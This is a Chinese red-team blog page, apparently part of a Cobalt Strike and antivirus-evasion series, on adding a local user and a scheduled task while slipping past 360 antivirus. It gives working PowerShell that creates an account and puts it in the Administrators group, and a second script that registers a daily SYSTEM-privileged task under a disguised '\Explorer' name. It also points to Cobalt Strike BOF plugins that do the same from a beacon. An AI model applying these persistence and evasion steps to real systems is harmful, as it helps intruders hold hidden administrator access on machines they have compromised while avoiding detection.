Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 前言
  • 添加用户
  • 拦截情景
  • 绕过方法
  • 添加计划任务
  • 拦截情景
  • 绕过方法
  1. OPSEC(免杀)

添加用户和计划任务(Bypass)

上一页浅谈CobaltStrikeUDRL下一页移除NtDll的hook

最后更新于1年前

前言

通常情况下直接执行cmd命令来添加用户或者计划任务都会被杀软拦截,我总结两种方法来绕过杀软的检测,分别是调用Windows Api(编写CS bof)或者执行Powershell脚本(通过模拟powershell环境的程序来执行)

添加用户

拦截情景

在开启360核晶模式的环境下,在UI界面执行添加用户的命令都会被拦截

更别说是在beacon命令行界面执行添加用户命令了,这里我分别尝试使用shell命令和run命令来添加用户,均被核晶拦截了

shell命令:此命令允许你执行Windows命令提示符(cmd.exe)中的任何命令。执行的命令将在命令提示符中运行,并将其输出返回给CobaltStrike。这是一个交互式命令,意味着你可以在输出返回后立即输入下一个命令

run命令:此命令用于在新的进程中运行程序或命令。与shell命令不同,它只是启动新的进程并返回。

绕过方法

1.CS bof

在Windows API中,有一些函数用于处理网络用户和本地组的管理。NetUserAdd() 函数用于在一个服务器上创建一个新用户,而 NetLocalGroupAdd() 函数可以用于在一个本地服务器上创建一个新的用户组

此CS插件整合了添加用户的API,并通过反射dll注入的方式实现无文件落地执行,github项目地址:https://github.com/crisprss/BypassUserAdd

首先确定beacon进程拥有system权限,这里我使用此插件添加用户的第一个方法Reflection NetUserAdd,随后输入添加用户名及密码

运行成功后在beacon命令行会提示

核晶全程没有查杀,cmd命令行输入net user可以发现user4用户添加成功了

2.Powershell脚本

以下是添加用户的Powershell脚本

# 使用管理员权限运行此脚本

# 定义新用户的用户名和密码
$userName = "NewUser"
$password = ConvertTo-SecureString "Password123" -AsPlainText -Force

# 创建本地用户账户
New-LocalUser -Name $userName -Password $password -FullName "New User" -Description "This is a new user."

# 添加新用户到 "Users" 组
Add-LocalGroupMember -Group "Administrators" -Member $userName

# 输出创建的用户信息
Get-LocalUser -Name $userName

以下是执行powershell脚本的效果图:

​

添加计划任务

拦截情景

beacon命令行执行shell命令来添加计划任务,直接被核晶拦截

schtasks /create /tn "My Task" /tr "C:\MyApp.exe" /sc daily /st 10:00

绕过方法

1.CS bof

在Windows api中,你可以使用 Task Scheduler (任务计划程序)API 来创建和管理计划任务。任务计划程序 API 是一组 COM 接口,你可以通过各种编程语言(如 C++,C#,VBScript 等)来使用它

CobaltStrike有个叫Bof的功能,它允许你使用C语言来扩展Beacon的功能,运行时可以直接加载到内存中并执行,因此可以通过编写创建计划任务的bof来绕过一些杀软的检测 此处github上有现成的项目:https://github.com/yanghaoi/CobaltStrike_CNA

加载github项目的插件后,鼠标右键上线会话,Persistence->计划任务->Add-TaskAPI, 通过调用Windows API来添加计划任务

设置添加计划任务的详细信息

添加计划任务后, 会在Beacon命令行提示任务创建成功

查看目标主机的计划任务列表,可以看到计划任务添加成功了,并且360核晶全程没有报毒

2.PowerShell脚本

配合模拟powershell环境的可执行程序执行ps1脚本,以此实现添加计划任务,如下是添加计划任务的ps1脚本代码

# 定义任务的名称、要运行的程序和参数、描述信息
$taskName = "\Explorer\test1"
$programPath = "C:\Path\To\Your\Program\MyProgram.exe"
$programArgs = "base64"
$taskDescription = "This is a scheduled task running a program daily at 12:00 PM."


# 如果任务已经存在,先删除
if((Get-ScheduledTask | Where-Object { $_.TaskName -eq $taskName }) -ne $null) {
    Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
}

# 设定触发器
$trigger = New-ScheduledTaskTrigger -Daily -At 17:56pm  #在每天的12:00 PM运行任务
#$trigger = New-ScheduledTaskTrigger -AtStartup       #在每次启动时运行任务
#$trigger = New-ScheduledTaskTrigger -AtIdle          #在系统空闲时运行任务 

# 设定任务的操作,即要运行的程序和参数
$action = New-ScheduledTaskAction -Execute $programPath -Argument $programArgs

# 创建一个以系统权限运行的计划任务
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest

# 创建计划任务
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -Principal $principal -Description $taskDescription

# 删除指定的计划任务
# $taskToDelete = "\Explorer\test2"
# if((Get-ScheduledTask | Where-Object { $_.TaskName -eq $taskToDelete }) -ne $null) {
    # Unregister-ScheduledTask -TaskName $taskToDelete -Confirm:$false
# }

运行效果如下图所示:

image-20230719173255080
image-20230719173506171
image-20230719173601290
image-20230721145437347
image-20230719204529199
image-20230719212549620
image-20230719212712261
image-20230719212734715
image-20230721150156077